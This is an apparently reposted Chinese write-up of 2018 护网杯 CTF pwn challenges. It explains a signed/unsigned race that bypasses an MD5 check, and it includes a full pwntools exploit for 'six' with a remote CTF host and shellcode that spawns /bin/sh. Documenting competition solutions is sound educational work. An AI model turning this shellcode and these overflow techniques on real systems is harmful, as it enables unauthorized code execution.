2018护网杯 - pwn - writeup

栏目: 编程工具 · 发布时间: 6年前

内容简介:跟学校的队伍参加了又一次这道题没什么好说的(比签到题解出的人还多),(double) 0.1 在内存中的存储形式,可以参考

跟学校的队伍参加了又一次 ?网杯 ,记录一下 pwn 的 writeup。

gettingstart

binary & exploit here

这道题没什么好说的(比签到题解出的人还多),(double) 0.1 在内存中的存储形式,可以参考 stackexchange

shoppingcart

这道题目真是坑了很久,看到 strtoul 就没想通过负数数组越界了,后来发现可以负数越界时已经来不及写 exp 了。

huwang

binary & exploit here

听 charlie 师傅说这道题目抄了他给国赛出的题。。。

堆的功能没用,完全是硬加上去的。主要的逻辑在 666 这个选项里,功能是从 /dev/urandom 中读取 0xC 个字符,然后经过 n 轮 md5 运算,最后和用户的输入进行比较,如果比较成功则进入另一个有明显漏洞的函数,可以 leak 出 canary,stack 等信息,最后可以栈溢出,比较不成功则程序退出。

void __fastcall secret_in_secret(char *rdi0)
{
  char v1; // ST1B_1
  int s_len; // [rsp+1Ch] [rbp-214h]
  char occupation[256]; // [rsp+20h] [rbp-210h]
  char s[264]; // [rsp+120h] [rbp-110h]
  unsigned __int64 v5; // [rsp+228h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("Congratulations, %s guessed my secret!\n", rdi0);// leak
  puts("And I want to know someting about you, and introduce you to other people who guess the secret!");
  puts("What`s your occupation?");
  get_str(occupation, 255LL);
  s_len = snprintf(
            s,
            255uLL,
            "I know a new friend, his name is %s,and he is a noble %s.He is come from north and he is very handsome......"
            "....................................................................................................",
            rdi0,
            occupation);
  puts("Here is your introduce");
  puts(s);
  puts("Do you want to edit you introduce by yourself[Y/N]");
  v1 = getchar();
  getchar();
  if ( v1 == 'Y' )
    read(0, s, s_len - 1);                      // overflow
  printf("The final presentation is as follows:%s\n", s);
}

其中 md5 运算的轮数是用户决定的

puts("Input how many rounds do you want to encrypt the secret:");
    how_many = get_int();
    if ( how_many > 10 )
    {
      puts("What? Why do you need to encrypt so many times?");
      exit(-1);
    }
    if ( !how_many )
    {
      printf("At least encrypt one time", s_secret);
      exit(-1);
    }
    HIDWORD(v2) = open("/tmp/secret", 01001);
    LODWORD(v2) = 0;
    while ( (unsigned int)v2 < how_many )       // negative
    {
      MD5((__int64)s_secret, 16LL, (__int64)s_secret);
      LODWORD(v2) = v2 + 1;
    }

只判断了大于 10 和不为 0 的情况,但我们可以输入负数,当输入负数时,在 signedunsigned 比较时 -1 会转化为一个很大的数,while 循环就会陷入一段很长时间的运算。

这时如果再开一个 io 连接远程进入到这个流程中,到 MD5 之前

HIDWORD(v2) = open("/tmp/secret", 01001);
    LODWORD(v2) = 0;
    while ( (unsigned int)v2 < how_many )       // negative
    {
      MD5((__int64)s_secret, 16LL, (__int64)s_secret);
      LODWORD(v2) = v2 + 1;
    }

这里 open 是以 O_WRONLY | O_TRUNC 的 flags 打开的,其中 O_TRUNC 的含义是 当文件存在且被另一个程序以可写的模式打开时,把文件的长度截短为 0 ,因此此时第二个 io 将得到一个空的 /tmp/secret ,因此只要我们输入 MD5('\0' * 16) 即可通过后边的 memcpy 验证,进入漏洞函数。

进入漏洞函数后,方法就很多了,通过 stack-pivot 进行 orw 或者 leak libc 进而 get shell 都可以,我选择的是使用 open, read, puts 的方法。运气比较好,rdx 满足条件。

six

总觉得这道题目以前在哪里见过,忘了是哪次比赛的了。

首先程序有两次 mmap,经过分析,两处空间分别用于保存 shellcode 和模拟栈,权限都是 rwx 。

void mmap_rwx()
{
  int fd; // ST04_4
  char buf[12]; // [rsp+8h] [rbp-18h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  fd = open("/dev/urandom", 0);
  read(fd, buf, 6uLL);
  read(fd, &buf[8], 6uLL);
  dest = mmap((void *)(*(_QWORD *)&buf[8] & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7, 34, -1, 0LL);
  stack = (__int64)mmap((void *)(*(_QWORD *)buf & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 3, 34, -1, 0LL) + 1280;
}

程序读取 6 个字节添加到一段 shellcode 之后,6 个字节要满足

  1. 3 个奇数 opcode,3个偶数 opcode
  2. 各不相同

程序给的 shellcode 为

.data:0000000000202020 ; char sc[1]
.data:0000000000202020 sc:                                     ; DATA XREF: main+71↑o
.data:0000000000202020                                         ; main+87↑o ...
.data:0000000000202020                 mov     rsp, rdi
.data:0000000000202023                 xor     rbp, rbp
.data:0000000000202026                 xor     rax, rax
.data:0000000000202029                 xor     rbx, rbx
.data:000000000020202C                 xor     rcx, rcx
.data:000000000020202F                 xor     rdx, rdx
.data:0000000000202032                 xor     rdi, rdi
.data:0000000000202035                 xor     rsi, rsi
.data:0000000000202038                 xor     r8, r8
.data:000000000020203B                 xor     r9, r9
.data:000000000020203E                 xor     r10, r10
.data:0000000000202041                 xor     r11, r11
.data:0000000000202044                 xor     r12, r12
.data:0000000000202047                 xor     r13, r13
.data:000000000020204A                 xor     r14, r14
.data:000000000020204D                 xor     r15, r15

清空了除 rsprip 之外的所有通用寄存器,并且可以看出 rsp 被设置为了我们之前 mmap 的空间用来模拟栈

.text:0000000000000C87                 mov     rdx, cs:stack
.text:0000000000000C8E                 mov     rax, [rbp+var_28]
.text:0000000000000C92                 mov     rdi, rdx
.text:0000000000000C95                 call    rax

这样就可以通过 0 号系统调用,即 sys_read 来读取一部分内容了,很自然的想法是读到栈顶(

read = asm('''
            push rsp
            pop rsi
            mov edx, esi
            syscall
            ''')
    assert len(read) < 7
    io.sendafter("shellcode:\n", read)

这段 shellcode 是符合要求的。

当两次 mmap 的距离比较近时,就可以通过第二次 read 来覆盖 shellcode,进而控制 rip。能控制 rip 的话,直接控制 rip 到我们写的 execve("/bin/sh", 0, 0) 即可。

我的 exp 如下:

HWB2018_six [master●●] bat solve.py 
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: solve.py
───────┼─────────────────────────────────────────────────────────────────────────────────
   1   │ #!/usr/bin/env python
   2   │ # -*- coding: utf-8 -*-
   3   │ 
   4   │ from pwn import *
   5   │ import sys
   6   │ context.binary = "./six"
   7   │ context.log_level = "debug"
   8   │ context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
   9   │ 
  10   │ if sys.argv[1] == "l":
  11   │     #  io = process("./six")
  12   │     io = gdb.debug("./six", gdbscript = '''
  13   │             bpie 0xC95
  14   │             c
  15   │             si 
  16   │             si 
  17   │             si 
  18   │             si 
  19   │             si 
  20   │             si 
  21   │             si 
  22   │             si 
  23   │             si 
  24   │             si 
  25   │             si 
  26   │             si 
  27   │             si 
  28   │             si 
  29   │             si 
  30   │             si 
  31   │             si 
  32   │             si 
  33   │             si 
  34   │             si 
  35   │             ''')
  36 + │ 
  37   │ else:
  38   │     io = remote("49.4.79.0", 31166)
  39   │ 
  40   │ if __name__ == "__main__":
  41   │     read = asm('''
  42   │             push rsp
  43   │             pop rsi
  44   │             mov edx, esi
  45   │             syscall
  46   │             ''')
  47   │     assert len(read) < 7
  48   │     io.sendafter("shellcode:\n", read)
  49   │ 
  50   │     shell = asm('''
  51   │             mov eax, 0x3b
  52   │             mov rdi, rsi
  53   │             xor rdx, rdx
  54   │             xor rsi, rsi
  55   │             syscall
  56   │             ''')
  57   │ 
  58   │     payload = "/bin/sh\0".ljust(0xb36, '\0') + shell
  59   │     #  pause()
  60   │     io.sendline(payload)
  61   │ 
  62   │     io.interactive()
  63   │     # $ while true; do python exp.py r; done
───────┴─────────────────────────────────────────────────────────────────────────────────

成功率不是 100% 但也相当可观了。

calendar

题目已经提示了 house of roman ,伤心的是,我的 house of roman 远程从来没有成功过。。。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

改变未来的九大算法

改变未来的九大算法

[美] 约翰.麦考密克 / 管策 / 中信出版社 / 2013-6 / 39.00元

Google得出的搜索结果是如何产生的? 百度为何会陷入“搜索门”,又是什么机制使然? 身处在大数据时代的我们,究竟该如何应对变化莫测的世界? …… 没有满篇的专业术语,第一次让我们通过简单明了的语言、生动的例证了解支撑计算机王国的灵魂支柱——9大算法,包括人工智能、数据压缩,以及Google著名的PageRank等。 本书精彩地介绍了搜索引擎、PageRank、公开......一起来看看 《改变未来的九大算法》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

在线进制转换器
在线进制转换器

各进制数互转换器

URL 编码/解码
URL 编码/解码

URL 编码/解码